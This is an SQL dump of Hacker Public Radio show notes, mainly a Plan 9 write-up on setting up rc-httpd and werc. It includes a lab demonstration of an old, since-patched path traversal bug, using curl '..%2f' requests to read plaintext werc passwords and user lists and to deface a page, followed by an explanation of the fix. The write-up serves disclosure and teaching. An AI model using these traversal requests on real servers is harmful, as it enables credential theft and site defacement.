(3686,'2022-09-19',' Followup for HPR3675: Clarifications on the path traversal bug',2335,'installing a plan 9 cpu+web server, namespaces to the rescue, web app security models and more','<h1 id=\"followup-for-hpr3675-installing-a-plan-9-cpu-server-plan-9-web-server-clarifications-on-the-path-traversal-bug-private-namespaces-to-the-rescue-web-application-security-models\">Followup for HPR3675: Installing a Plan 9 CPU server, Plan 9 web server, clarifications on the path traversal bug, private namespaces to the rescue, web application security models</h1>\n<hr />\n<h1 id=\"installing-plan-9-with-libvirt\">Installing Plan 9 with libvirt</h1>\n<pre class=\"sh\"><code>[root@localhost]# virt-install -n 9pwn \\\n--description &quot;pre-patched rc-httpd&quot; \\\n--osinfo=unknown \\\n--memory=4096 \\\n--vcpus=4 \\\n--disk path=/var/lib/libvirt/images/9pwn.qcows,bus=virtio,size=10 \\\n--graphics spice \\\n--cdrom ~/Downloads/9front-8593.acc504c319a4b4188479cfa602e40cb6851c0528.amd64.iso \\\n--network bridge=virbr0\n\n[root@localhost]# virt-viewer 9pwn\n</code></pre>\n<p>How I find the IP of my guests and add it to my /etc/hosts for faster access.</p>\n<pre class=\"sh\"><code>[root@localhost]# virsh domiflist 9pwn\n Interface   Type     Source   Model   MAC\n----------------------------------------------------------\n vnet3       bridge   virbr0   e1000   52:54:00:43:8a:50\n\n[root@localhost]# arp -e | grep 52:54:00:43:8a:50\n192.168.122.20           ether   52:54:00:43:8a:50   C                     virbr0\n\n[root@localhost]# echo cirno 192.168.122.20 &gt;&gt; /etc/hosts\n</code></pre>\n<p>Proceed as normal with a 9 installation</p>\n<hr />\n<h1 id=\"set-up-cpu-server-with-rc-httpd-and-werc\">Set up CPU server with rc-httpd and werc</h1>\n<p><a href=\"https://0x19.org/posts/2022-09-03.php\">I wrote about configuring a CPU server</a> and also mirrored the notes at <a href=\"https://9.0x19.org/9notes/9front-web-server\">my 9front webserver containing a mirror of my plan 9 related things (using self-signed certs but it\'s fine)</a> I\'ve snarfed+pasted it here for the sake of completeness and modified it slightly so that it\'s more accessible for other people. I\'ve also revised these notes so that they\'re less-broken. I may or may not update them.</p>\n<p>I\'m using <a href=\"https://9front.org\">9front</a> for this. It has more secure authentication protocols when it comes to remotely connecting.</p>\n<h2 id=\"configuring-a-cpu-server\">Configuring a CPU server</h2>\n<h3 id=\"add-users-to-file-server\">Add users to file server</h3>\n<p>Connect to the file server and add a new user called <code>&lt;ExampleUser&gt;</code> who is in the groups <code>sys</code>, <code>adm</code>, and <code>upas</code></p>\n<pre class=\"sh\"><code>term% con -C /srv/cwfs.cmd\nnewuser &lt;ExampleUser&gt;\nnewuser sys +&lt;ExampleUser&gt;\nnewuser adm +&lt;ExampleUser&gt;\nnewuser upas +&lt;ExampleUser&gt;\n</code></pre>\n<p>Reboot and set <code>user=&lt;ExampleUser&gt;</code> when prompted at boot time.</p>\n<h3 id=\"configure-users-environment\">Configure user\'s environment</h3>\n<p>This is similar to <code>cp -r /etc/skel /home/&lt;ExampleUser&gt;</code> on a UNIX system.</p>\n<pre class=\"sh\"><code>/sys/lib/newuser\n</code></pre>\n<h3 id=\"configure-headless-booting\">Configure headless booting</h3>\n<p>Mount the boot partition:</p>\n<pre class=\"sh\"><code>term% 9fs 9fat\n</code></pre>\n<p>edit the boot config, <code>/n/9fat/plan9.ini</code></p>\n<pre class=\"sh\"><code>bootfile=9pc64\nnobootprompt=local!/dev/sdC0/fscache\nmouseport=ps2\nmonitor=vesa\nvgasize=1024x768x14\nuser=&lt;ExampleUser&gt;\ntiltscreen=none\nservice=cpu\n</code></pre>\n<h3 id=\"add-hostowner-info-to-nvram\">Add hostowner info to nvram</h3>\n<p>Hostowner is similar to root but not quite. In our configuration, hostowner is close to being equivalent to a root user. The <code>user=</code> line in our bootprompt sets the hostowner.</p>\n<p>For automatic booting (aka not entering a password at the physical machine every time we power it in), we need to add the hostowner\'s key to nvram.</p>\n<pre class=\"sh\"><code>term% nvram=/dev/sdF0/nvram auth/wrkey\nbad nvram des key\nbad authentication id\nbad authentication domain\nauthid: &lt;ExampleUser&gt;\nauthdom: cirno\nsecstore key: &lt;press the return key if you do not want to type this at boot time&gt;\npassword: &lt;make it 8 chars&gt;\n</code></pre>\n<h3 id=\"configure-auth-server\">Configure auth server</h3>\n<p>In order to connect to the system over the network, the new user must be added to the auth server.</p>\n<pre class=\"sh\"><code>term% auth/keyfs\nterm% auth/changeuser &lt;ExampleUser&gt;\nPassword: &lt;what you put earlier&gt;\nConfirm password:\nAssign new Inferno/POP secret? [y/n]: n\nExpiration date (YYYYMMDD or never) [never]: never\nPost id:\nUser&#39;s full name:\nDepartment #:\nUser&#39;s email address:\nSponsor&#39;s email address:\nuser &lt;ExampleUser&gt; installed for Plan 9\n</code></pre>\n<h3 id=\"configure-permissions\">Configure permissions</h3>\n<p><code>/lib/ndb/auth</code> is similar to a <code>/etc/sudoers</code>. This configuration for the new user allows him to execute commands as other users <em>except</em> for the <code>sys</code> and <code>adm</code> users (but sys and adm are more like groups but who cares).</p>\n<p>append to <code>/lib/ndb/auth</code></p>\n<pre class=\"sh\"><code>hostid=&lt;ExampleUser&gt;\n    uid=!sys uid=!adm uid=*\n</code></pre>\n<p>then reboot</p>\n<h3 id=\"test-if-it-worked-with-drawterm\">Test if it worked with drawterm</h3>\n<p>The 9front version of drawterm must be used as it supports the better crypto in 9front. Other drawterm versions probably won\'t work.</p>\n<pre class=\"sh\"><code>$ /opt/drawterm -u &lt;ExampleUser&gt; -h example.com -a example.com -r ~/\n</code></pre>\n<h2 id=\"configure-rc-httpd\">Configure rc-httpd</h2>\n<p>edit <code>/rc/bin/rc-httpd/select-handler</code></p>\n<p>this file is something like <code>/etc/httpd.conf</code> on a UNIX system.</p>\n<pre class=\"sh\"><code>#!/bin/rc\nPATH_INFO=$location\n\n        switch($SERVER_NAME) {\n        case example.com\n               FS_ROOT=/sys/www/$SERVER_NAME\n               exec static-or-index\n\n        case *\n              error 503\n}\n</code></pre>\n<p>To listen on port 80 and run the handler on port 80:</p>\n<pre class=\"sh\"><code>cpu% cp /rc/bin/service/!tcp80 /rc/bin/service/tcp80\ncpu% chmod +x /rc/bin/rc-httpd/select-handler\n</code></pre>\n<p>Reboot and test.</p>\n<h3 id=\"ssl\">SSL</h3>\n<p>I will never give money to the CA racket. Self-signed is the way to go on systems that don\'t support <a href=\"https://acme.sh\">acme.sh, the only ACME client I use for obtaining free SSL certs.</a></p>\n<p>Generate and install:</p>\n<pre class=\"sh\"><code>cpu% ramfs -p\ncpu% cd /tmp\ncpu% auth/rsagen -t &#39;service=tls role=client owner=*&#39; &gt; key\ncpu% chmod 600 key\ncpu% cp key /sys/lib/tls/key\ncpu% auth/rsa2x509 &#39;C=US CN=example.com&#39; /sys/lib/tls/key | auth/pemencode CERTIFICATE &gt; /sys/lib/tls/cert\ncpu% mkdir /cfg/$sysname\ncpu% echo &#39;cat /sys/lib/tls/key &gt;&gt; /mnt/factotum/ctl&#39; &gt;&gt; /cfg/$sysname/cpustart\n</code></pre>\n<p>Now add a listener in <code>/rc/bin/service/tcp443</code>:</p>\n<pre class=\"sh\"><code>#!/bin/rc\nexec tlssrv -c /sys/lib/tls/cert -l /sys/log/https /rc/bin/service/tcp80 $*\n</code></pre>\n<p>And make it executable:</p>\n<pre class=\"sh\"><code>cpu% chmod +x /rc/bin/service/tcp443\n</code></pre>\n<h2 id=\"install-and-configure-werc\">Install and configure werc</h2>\n<pre class=\"sh\"><code>cpu% cd\ncpu% mkdir /sys/www &amp;&amp; cd www\ncpu% hget http://werc.cat-v.org/download/werc-1.5.0.tar.gz  &gt; werc-1.5.0.tgz\ncpu% tar xzf werc-1.5.0.tgz\ncpu% mv werc-1.5.0 werc\n\n# ONLY DO THIS IF YOU *MUST* RUN THE THINGS THAT ALLOW WERC TO WRITE TO DISK\n# EG. DIRDIR, BLAGH, ETC\n# DON&#39;T DO THIS, JUST USE DRAWTERM OVER THE NETWORK\n# HTTP CLIENTS SHOULD NEVER BE ALLOWED TO WRITE TO DISK\n# PLEASE I BEG YOU\ncpu% cd .. &amp;&amp; for (i in `{du www | awk &#39;{print $2}&#39;}) chmod 777 $i\n\ncpu% cd werc/sites/\ncpu% mkdir example.com\ncpu% mv default.cat-v.org example.com\n</code></pre>\n<p>now re-edit <code>/rc/bin/rc-httpd/select-handler</code></p>\n<pre class=\"sh\"><code>#!/bin/rc\nWERC=/sys/www/werc\nPLAN9=/\nPATH_INFO=$location\nswitch($SERVER_NAME){\ncase cirno\n        FS_ROOT=$WERC/sites/$SERVER_NAME\n        exec static-or-cgi $WERC/bin/werc.rc\ncase *\n        error 503\n}\n</code></pre>\n<p>Test the website. Werc is fiddly. Werc is archaic. Werc is fun.</p>\n<hr />\n<h1 id=\"path-traversal-vulnerabilities-in-old-versions-of-rc-httpd\">Path traversal vulnerabilities in old versions of rc-httpd</h1>\n<p>Using release <a href=\"https://9front.org/releases/2021/07/18/0/\">COMMUNITY VS INFRASTRUCTURE</a>, an old release with old rc-httpd, I have done the above steps. In current releases this bug no longer exists. Use current releases.</p>\n<h2 id=\"the-vulnerability\">The vulnerability</h2>\n<pre class=\"sh\"><code># get list of werc admin users\n[root@localhost]# curl http://cirno/..%2f..%2f/etc/users/admin/members\npwn\n# get that werc user&#39;s password\n[root@localhost]# http://cirno/..%2f..%2f/etc/users/pwn/password\nsupersecret\n</code></pre>\n<p>Wait, the passwords for werc are stored in plain text? Let\'s log in</p>\n<pre class=\"sh\"><code>[root@localhost]# firefox http://cirno/_users/login\n</code></pre>\n<p>Now let\'s see if any of the werc users are also system users:</p>\n<pre class=\"sh\"><code># let&#39;s enumerate users\n[root@localhost]# curl http://cirno/..%2f..%2f..%2f..%2f..%2f..%2f/adm/users\n-1:adm:adm:glenda,pwn\n0:none::\n1:tor:tor:\n2:glenda:glenda:\n3:pwn:pwn:\n10000:sys::glenda,pwn\n10001:map:map:\n10002:doc::\n10003:upas:upas:glenda,pwn\n10004:font::\n10005:bootes:bootes:\n</code></pre>\n<p>Let\'s hope that no one is re-using credentials. Let\'s check just to be sure</p>\n<pre class=\"sh\"><code>$ PASS=supersecret /opt/drawterm -u pwn -h cirno -a cirno -G\ncpu% cat /env/sysname\ncirno\ncpu%\n</code></pre>\n<p><strong>This is what happens when you have path traversal vulnerabilities, an authentication vulnerability in your CMS, and share login/passwords</strong></p>\n<h2 id=\"how-the-static-or-cgi-handler-works\">How the static-or-cgi handler works</h2>\n<p>rc-httpd calls various <em>handler</em> scripts that decide what to do with requests. In the example configuration for werc, rc-httpd is instructed to call the <code>static-or-cgi</code> script.</p>\n<p>I will compile these archaic rc scripts into pseudo code for the listener.</p>\n<p>The <code>static-or-cgi</code> handler (the handler specified in the httpd config) is simple:</p>\n<pre class=\"sh\"><code>#!/bin/rc\ncgiargs=$*\n\nfn error{\n    if(~ $1 404)\n        exec cgi $cgiargs\n    if not\n        $rc_httpd_dir/handlers/error $1\n}\n\nif(~ $location */)\n    exec cgi $cgiargs\nif not\n    exec serve-static\n</code></pre>\n<ol>\n<li>If the requested file exists, call the <code>cgi</code> handler and pass it arguments.</li>\n<li>If the requested file does not exist, call the <code>serve-static</code> handler.</li>\n</ol>\n<h2 id=\"how-the-serve-static-handler-works\">How the serve-static handler works</h2>\n<p>The problem lies in the <code>serve-static</code> handler:</p>\n<pre class=\"sh\"><code>#!/bin/rc\nfull_path=`{echo $&quot;FS_ROOT^$&quot;PATH_INFO | urlencode -d}\nfull_path=$&quot;full_path\nif(~ $full_path */)\n    error 503\nif(test -d $full_path){\n    redirect perm $&quot;location^&#39;/&#39; \\\n        &#39;URL not quite right, and browser did not accept redirect.&#39;\n    exit\n}\nif(! test -e $full_path){\n    error 404\n    exit\n}\nif(! test -r $full_path){\n    error 503\n    exit\n}\ndo_log 200\nswitch($full_path){\ncase *.html *.htm\n        type=text/html\ncase *.css\n        type=text/css\ncase *.txt *.md\n        type=text/plain\ncase *.jpg *.jpeg\n        type=image/jpeg\ncase *.gif\n        type=image/gif\ncase *.png\n        type=image/png\ncase *\n        type=`{file -m $full_path}\n}\nif(~ $type text/*)\n    type=$type^&#39;; charset=utf-8&#39;\nmax_age=3600    # 1 hour\necho &#39;HTTP/1.1 200 OK&#39;^$cr\nemit_extra_headers\necho &#39;Content-type: &#39;^$type^$cr\necho &#39;Content-length: &#39;^`{ls -l $full_path | awk &#39;{print $6}&#39;}^$cr\necho &#39;Cache-control: max-age=&#39;^$max_age^$cr\necho $cr\nexec cat $full_path\n</code></pre>\n<ol>\n<li>encode the full file path into a url</li>\n<li>if the url points to a file outside of <code>\'*/\'</code>, the document root, error 503</li>\n<li>if the url is broken, exit</li>\n<li>if the url points to a file that neither exists nor is readable, error 503</li>\n<li>if you haven\'t exited by now, serve the file</li>\n</ol>\n<p>The problem is no sanitization. The script checks for files in the current directory <em>BUT NOT BEFORE ENCODING THE URL STRING</em>.</p>\n<p>The urlencode command works by decoding encoded characters.</p>\n<pre class=\"sh\"><code>cpu% echo &#39;http://cirno/..%2f&#39; | urlencode -d\nhttp://cirno/../\n</code></pre>\n<p>Does <code>../</code> exist in <code>*/</code> ? the answer is yes.</p>\n<p><code>..</code> is a directory contained inside of <code>*/</code></p>\n<p><code>*/../</code> <em>is</em> the current working directory.</p>\n<h2 id=\"how-they-fixed-it\"><a href=\"ttps://git.9front.org/plan9front/plan9front/241667b933ff5bacb9a3974f6877fb8aad78bed3/commit.html\">How they fixed it</a></h2>\n<p>Adding a sanitizer. By comparing the encoded url against an actual hypothetical file path and exiting if there is a mismatch, all %2f funny business is avoided.</p>\n<hr />\n<h1 id=\"other-optional-bad-config-options-in-werc\">Other (optional) bad config options in werc</h1>\n<p>rc-httpd aside, a bad werc config can still lead to website defacement if your non rc-httpd webserver has a path traversal vulnerability.</p>\n<p>Additionally I have modified the DAC for /sys/www to allow werc, a child process of <code>rc-httpd</code> to write to disk. rc-httpd runs as the <code>none</code> user so it\'s not typically allowed to write to disk unless explicitly permitted. I do not allow this on my 9 webserver because it\'s the worst idea in the history of all time ever.</p>\n<p>I enabled the dirdir and blagh modules as if I were the type of admin who does a <code>chmod -R 777 /var/www/htdocs</code> because <q>that\'s what the wordpress installation guide told me to do so I could have a cool and easy way to modify my website from the browser.</q></p>\n<p>Let\'s pretend that I\'m not the admin of this system and scrape the werc config just to see if the hypothetical <em>badmin</em> has these modules enabled.</p>\n<pre class=\"sh\"><code># get config\n[root@localhost]# curl http://cirno/..%2f..%2f/sites/cirno/_werc/config\nmasterSite=cirno\nsiteTitle=&#39;Werc Test Suite&#39;\nconf_enable_wiki\nwiki_editor_groups admin\n</code></pre>\n<p>Hmmm, looks like these modules are enabled so we can assume that httpd is allowed to write to disk. Let\'s modify <code>cirno/index.md</code> to warn the admin. As a funny joke. Totally not a crime under the Computer Fraud and Abuse Act. Totally not an inappropriate way to warn admins about a vulnerability.</p>\n<pre class=\"sh\"><code>[root@localhost]# curl -s cirno | pandoc --from html --to plain\nquotes | docs | repo | golang | sam | man | acme | Glenda | 9times |\nharmful | 9P | cat-v.org\n\nRelated sites: | site updates | site map |\n\nWerc Test Suite\n\n-   &#x203A; apps/\n-   &#x203A; titles/\n\nSECURITY ADVISORY:\n\nlol this guy still hasn&#39;t figured out the ..%2f trick\n\nPowered by werc\n</code></pre>\n<h2 id=\"modifying-werc-to-support-password-hashing\">Modifying werc to support password hashing</h2>\n<p>Adding password hashes isn\'t too difficult. Being constrained by time, I have not done this quite yet. Reading the source code, all it takes is modifying 2 werc scripts: <code>bin/werclib.rc</code> and <code>bin/aux/addwuser.rc</code></p>\n<pre class=\"sh\"><code>% echo &#39;supersecret&#39; | sha1sum -2 512\n</code></pre>\n<hr />\n<h1 id=\"private-namespaces-to-the-rescue\">Private namespaces to the rescue</h1>\n<p>Luckily enough, the webserver runs as the <code>none</code> user with it\'s own namespace.</p>\n<h2 id=\"comparing-the-hostowners-namespace-and-none-users-namespace\">Comparing the hostowner\'s namespace and none user\'s namespace</h2>\n<p>I grab the namespace from the system console (ie not from drawterm) and from the listen command, then run a diff (unix style) to show the differences.</p>\n<pre class=\"sh\"><code>cpu% ns | sort &gt; cpu.ns\ncpu% ps -a | grep -e &#39;listen.*80&#39; | grep -v grep\nnone            355    0:00   0:00      132K Open     listen [/net/tcp/2 tcp!*!80]\ncpu% ns 355 | sort &gt; listen.ns\ncpu% diff -u listen.ns cpu.ns\n--- listen.ns\n+++ cpu.ns\n@@ -6,17 +6,29 @@\n bind  /amd64/bin /bin\n bind  /mnt /mnt\n bind  /mnt/exportfs /mnt/exportfs\n+bind  /mnt/temp/factotum /mnt/factotum\n bind  /n /n\n bind  /net /net\n bind  /root /root\n+bind -a &#39;#$&#39; /dev\n bind -a &#39;#I&#39; /net\n+bind -a &#39;#P&#39; /dev\n+bind -a &#39;#S&#39; /dev\n bind -a &#39;#l&#39; /net\n+bind -a &#39;#r&#39; /dev\n+bind -a &#39;#t&#39; /dev\n+bind -a &#39;#u&#39; /dev\n+bind -a &#39;#u&#39; /dev\n bind -a &#39;#&#xA4;&#39; /dev\n bind -a &#39;#&#xB6;&#39; /dev\n+bind -a &#39;#&#x3C3;/usb&#39; /dev\n+bind -a &#39;#&#x3C3;/usbnet&#39; /net\n bind -a /rc/bin /bin\n bind -a /root /\n+bind -b &#39;#k&#39; /dev\n bind -c &#39;#e&#39; /env\n bind -c &#39;#s&#39; /srv\n+bind -c /usr/pwn/tmp /tmp\n cd /usr/pwn\n mount -C &#39;#s/boot&#39; /n/other other\n mount -a &#39;#s/boot&#39; /\n@@ -26,4 +38,4 @@\n mount -a &#39;#s/slashmnt&#39; /mnt\n mount -a &#39;#s/slashn&#39; /n\n mount -aC &#39;#s/boot&#39; /root\n-mount -b &#39;#s/factotum&#39; /mnt\n+mount -b &#39;#s/cons&#39; /dev\n</code></pre>\n<p>The major difference is that the hostowner (equivalent to root user) has a lot more things bound to his namespace:</p>\n<ul>\n<li>\'#$\' PCI interfaces</li>\n<li>\'#P\' APM power management</li>\n<li>\'#S\' storage devices</li>\n<li>\'#r\' realtime clock and nvram</li>\n<li>\'#t\' serial ports</li>\n<li>\'#u\' USB</li>\n<li>\'#&#x3C3;\' /shr global mountpoints</li>\n<li>\'#k\' keyboard</li>\n<li>/tmp directories</li>\n<li>\'#s\' various special files relating to services</li>\n</ul>\n<p>The <code>listen</code> process in question is fairly well isolated from the system. Minimal system damage can be caused by pwning a process owned by <code>none</code>.</p>\n<hr />\n<h1 id=\"closing\">Closing</h1>\n<p>An argument could be maid that the rc-httpd vulnerability was \"not a bug\" because \"namespaces are supposed to segregate the system\".</p>\n<p>I disagree on this point. Namespaces are good and all but security is a multi-layer thing. Relying on a single security feature to save your system means relying on a single point of failure. Chroot escapes, namespace escapes, container escapes, and VM escapes are all things we need to be thinking about when writing software that touches the internet. Although unlikely, getting pwnd in spite of these security methods is still possible; <em>all</em> user input is dangerous and <em>all</em> user input that becomes remote code execution <em>always</em> results in privilege escalation no matter how secure you think your operating system is. Each additional layer of security makes it harder for attackers to get into the system.</p>\n<p>For example, when I write PHP applications, I consider things in this order:</p>\n<ol>\n<li>don\'t pass unnecessary resources into the document root via symlinks, bind mounts, etc.</li>\n<li>never ever use <code>system()</code> in a context where user input can ever be passed to the function in order to avoid shell escapes</li>\n<li>sanitize all user input depending on context. Ex: if the PHP program is directly referencing files, make a whitelist and compare requests to this whitelist. If the PHP process is writing to a database, use prepared statements.</li>\n<li>fire up a kali linux vm and beat the test server half to death</li>\n<li>iterate upon my ignorance</li>\n<li>doubly verify DAC just to be sure</li>\n<li>re-check daemon configs to make sure I\'m not doing anything stupid</li>\n<li>FINALLY: rely on SELinux or OpenBSD chroots (depending on prod env) to save me if all else failed</li>\n</ol>\n<p>And of course the other things like firewalls (with whitelists for ports and blacklists for entire IP address blocks), key based ssh authentication, sshd configurations that don\'t make it possible to enumerate users, rate limiters, etc.</p>\n<p>Each layer of security is like a filter. If you have enough layers of filters it would take an unrealistic amount of force to push water through this filter. Although no system is perfectly safe from three letter agencies, a system with multiple layers of security is typically safe from drive-by attacks.</p>\n<p>Final exercise: intentionally write a php script that does path traversal. Run this on a system with SELinux. Try to coax <code>/etc/passwd</code> out of the server. Now try <code>php-fpm</code> instead of <code>mod_php</code> or vice-versa. You\'ll be surprised when even MAC doesn\'t protect your system.</p>\n<p>Even now, after spending almost a month and a half worth of after work hacker hours almost exclusively on 9, I enjoy it more than when I began and even more than when using it in semi-regular spurts in years past. The purpose of research operating systems is to perform research, be it about the design of the system otherwise. Where would we be without private namespaces? How can I use this idea in the real world? What would the world look like if we had <em>real</em> distributed computing instead of web browsers (which are the new dumb terminal)? Is there a use case for this in the real world? What can we learn from single layer security models? What can we do to improve the system?</p>\n<p>Plan 9 is perfect for this type of research. I\'m considering writing an httpd in C and a werc-like (minus the parts I don\'t like) in C and modifying the namespace for the listener so that I can run a webserver on 9 without pulling in /bin in order to reduce the possibility of a shell escape.</p>\n<p>I think that in order to improve ourselves, we must be critical of ourselves. We must be critical of the things we enjoy in order to improve them and learn something new in the process. For software especially, there is no such thing as perfection, only least bad. And my final thought:</p>\n<blockquote>\n<p>Criticism: This program/OS/whatever sucks</p>\n</blockquote>\n<blockquote>\n<p>Response: I know, help me fix it.</p>\n</blockquote>\n',406,0,1,'CC-BY-SA','Plan 9, private namespaces, security, research operating systems',0,0,1),
(3695,'2022-09-30','How I watch youtube with newsboat',663,'Using youtube\'s channel RSS feeds to watch youtube from the command line','<h1 id=\"how-i-watch-youtube-with-newsboat\">How I watch youtube with <code>newsboat</code></h1>\n<p>I find that the youtube web ui is designed to keep users on the site by feeding them an unending stream of information. Bright colors, distracting thumbnails, peanut galleries, etc. I prefer to consume my videos in the same way I consume everything else: via RSS.</p>\n<p>RSS is my favorite way of aggregating things that other people have made because it allows me, the user, to interact with their things</p>\n<p>The only dependencies not on a standard UNIX system are <code>newsboat</code> and a video player. I also use <code>yt-dlp</code> to download videos for later viewing. I like <code>mpv</code> but you can substitute your own.</p>\n<pre><code>$ sudo $pkgmrg install newsboat mpv yt-dlp</code></pre>\n<h1 id=\"getting-rss-feeds-from-youtube\">Getting RSS feeds from youtube</h1>\n<p>Youtube (currently) provides RSS feeds for channels.</p>\n<h2 id=\"finding-youtube-channel-id\">Finding Youtube channel ID</h2>\n<p>Sometimes channels have vanity URLs that can make it difficult to find the channel ID. Other times, the URL contains the channel ID. All youtube channel IDs start with the string <code>UC</code> so we can easily grep for them.</p>\n<pre><code>$ curl https://www.youtube.com/c/RMCRetro | grep --color &quot;href=\\&quot;https://www.youtube.com/channel/UC\\&quot;&quot;\n[ lots of nonsense ]\nhref=&quot;https://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w&quot;\n[ lots of nonsense ]</code></pre>\n<p>In order to turn this channel ID into something useful, we create the following URL:</p>\n<pre><code>https://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w</code></pre>\n<p><a href=\"https://takeout.google.com/\">Google takeout can also be used to export youtube subscriptions.</a></p>\n<p>The export format is a CSV that contains the channel IDs for all of our subscriptions.</p>\n<pre><code>Channel Id,Channel Url,Channel Title\nUCLEoyoOKZK0idGqSc6Pi23w,http://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w,RMC - The Cave</code></pre>\n<h1 id=\"newsboat-url-list\">Newsboat url list</h1>\n<p>Newsboat reads it’s list of URLs from <code>~/.config/newsboat/urls</code>. Every url we add to this list will be automaticlly fetched. You can make separate URL lists for your list of videos and list of standard text based RSS feeds</p>\n<p>If you have an exported CSV, you can easily modify it so that newsboat will accept it as a list of URLs by deleting row 1, column 1+comma, and replacing the comma between the URL and channel name with a tab character. Doing a <code>sed \'s/channel\\//feeds\\/videos.xml?channel_id=/g\'</code> on the file is an easy way to replace the website URL with the feed url. Newsboat only reads the first field of every row so the channel name can be kept for easier subscription management.</p>\n<pre><code>http://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w     RMC - The Cave</code></pre>\n<h1 id=\"newsboat-config\">Newsboat config</h1>\n<p>In order to play videos, we need to add some macros to the newsboat config file at <code>~/.config/newsboat/config</code></p>\n<p>Mine looks like this.</p>\n<pre><code># load URLS on launch\nauto-reload  yes\n\n# vim binds\nbind-key j down\nbind-key k up\nbind-key j next articlelist\nbind-key k prev articlelist\nbind-key J next-feed articlelist\nbind-key K prev-feed articlelist\nbind-key G end\nbind-key g home\nbind-key d pagedown\nbind-key u pageup\nbind-key l open\nbind-key h quit\nbind-key a toggle-article-read\nbind-key n next-unread\nbind-key N prev-unread\nbind-key D pb-download\nbind-key U bashow-urls\nbind-key x pb-delete\n\n# macro setup\nbrowser linkhandler\nmacro , open-in-browser\n\n# launch video player\nmacro v set browser &quot;setsid -f mpv&quot; ; open-in-browser ; set browser linkhandler\n\n# download video\nmacro d set browser &quot;yt-dlp&quot;; open-in-browser ; set browser linkhandler\n\n# download audio only\nmacro a set browser &quot;yt-dlp --embed-metadata -xic -f bestaudio/best&quot; ; open-in-browser ; set browser linkhandler</code></pre>\n<h1 id=\"video-demo\">Video demo</h1>\n<p>This is a demo of using newsboat with videos. In order to execute the macros, you type <code>,</code> then <code>v</code> or whatever other letter you set the macro to.</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3695/hpr3695/newsboat.webm\">video in webm format</a> your web browser or operating system does not support free video codecs :(</p>\n<h1 id=\"a-url-list-to-get-you-started\">A url list to get you started</h1>\n<pre><code>https://www.youtube.com/feeds/videos.xml?channel_id=UC3ts8coMP645hZw9JSD3pqQ        Andreas Kling\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC9-y-6csu5WGm29I7JiwpnA        Computerphile\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC15BJjhPr4d5gTClhmC4HRw        Elliot Coll\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCxQKHvKbmSzGMvUrVtJYnUA        Learn Linux TV\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCm9K6rby98W8JigLoZOh6FQ        LockPickingLawyer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCl2mFZoRqjw_ELax4Yisf6w        Louis Rossmann\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC2eYFnH61tmytImy1mTYvhA        Luke Smith\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC7YOGHUfC1Tb6E4pudI9STA        Mental Outlaw\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCjFaPUcJU1vwk193mnW_w1w        Modern Vintage Gamer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w        RMC - The Cave\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC4rqhyiTs7XyuODcECvuiiQ        Scott The Woz\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5I2hjZYiW9gZPVkvzM8_Cw        Techmoan\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCy0tKL1T7wFoYcxCe0xjN6Q        Technology Connections\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC8uT9cgJorJPWu7ITLGo9Ww        The 8-Bit Guy\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5UAwBUum7CPN5buc-_N1Fw        The Linux Experiment\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCFMx-JitepTttWc-ABHhu8A        This Week in Retro\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCsnGwSIHyoYN0kiINAGUKxg        Wolfgang&#39;s Channel\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCJ8V9aiz50m6NVn0ix5v8RQ        decino                </code></pre>\n',406,0,1,'CC-BY-SA','newsboat, RSS, youtube',0,0,1),
(3956,'2023-10-02','HPR Community News for September 2023',2470,'HPR Volunteers talk about shows released and comments posted in September 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents/0423.html\" target=\"_blank\">Noodlez</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents/0424.html\" target=\"_blank\">hobs</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3935/index.html\" target=\"_blank\">3935</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3935/index.html\" target=\"_blank\">Server build retrospective</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3936/index.html\" target=\"_blank\">3936</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3936/index.html\" target=\"_blank\">HPR Community News for August 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html\" target=\"_blank\">3937</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html\" target=\"_blank\">Adventures in Pi-Hole</a></td>\n<td><a 